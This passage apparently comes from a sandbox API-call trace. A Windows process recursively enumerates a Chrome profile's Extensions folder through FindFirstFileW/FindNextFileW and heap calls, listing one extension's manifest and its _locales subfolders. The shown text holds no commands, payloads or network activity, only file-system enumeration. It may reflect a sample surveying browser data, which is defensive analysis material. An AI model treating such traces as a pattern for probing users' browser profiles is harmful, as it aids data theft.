ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.916] FindNextFileW (in: hFindFile=0x639988, lpFindFileData=0x2cedbe0 | out: lpFindFileData=0x2cedbe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.2.8_0", cAlternateFileName="4278E1~1.8_0")) returned 1 [0272.916] GetProcessHeap () returned 0x550000 [0272.916] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0272.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*", lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6399c8 [0272.927] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.927] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1 [0272.927] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0272.927] FindNextFileW (in: hFindFile=0x6399c8, lpFindFileData=0x2ced958 | out: lpFindFileData=0x2ced958*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0272.927] GetProcessHeap () returned 0x550000 [0272.927] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0272.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*", lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0273.013] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.013] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0273.013] GetProcessHeap () returned 0x550000 [0273.013] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0273.013] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a88 [0273.013] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.013] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.013] FindNextFileW (in: hFindFile=0x639a88, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.013] FindClose (in: hFindFile=0x639a88 | out: hFindFile=0x639a88) returned 1 [0273.014] GetProcessHeap () returned 0x550000 [0273.014] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0273.014] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0273.014] GetProcessHeap () returned 0x550000 [0273.014] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0273.014] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.212] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.212] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.213] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.213] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.213] GetProcessHeap () returned 0x550000 [0273.213] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0273.213] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0273.213] GetProcessHeap () returned 0x550000 [0273.213] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.214] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.214] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.214] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.214] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.214] GetProcessHeap () returned 0x550000 [0273.214] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.214] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0273.214] GetProcessHeap () returned 0x550000 [0273.214] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.214] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\cs\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.322] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.322] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.322] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.322] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.322] GetProcessHeap () returned 0x550000 [0273.322] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.322] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0273.322] GetProcessHeap () returned 0x550000 [0273.322] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.322] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.323] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.323] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.323] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.323] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.323] GetProcessHeap () returned 0x550000 [0273.323] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.323] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0273.323] GetProcessHeap () returned 0x550000 [0273.323] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\de\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0273.339] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0273.339] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0273.339] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85218f10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0273.339] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0273.340] GetProcessHeap () returned 0x550000 [0273.340] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26420b8 | out: hHeap=0x550000) returned 1 [0273.340] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0273.340] GetProcessHeap () returned 0x550000 [0273.340] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26420b8 [0273.340] FindFirstFileW (in: 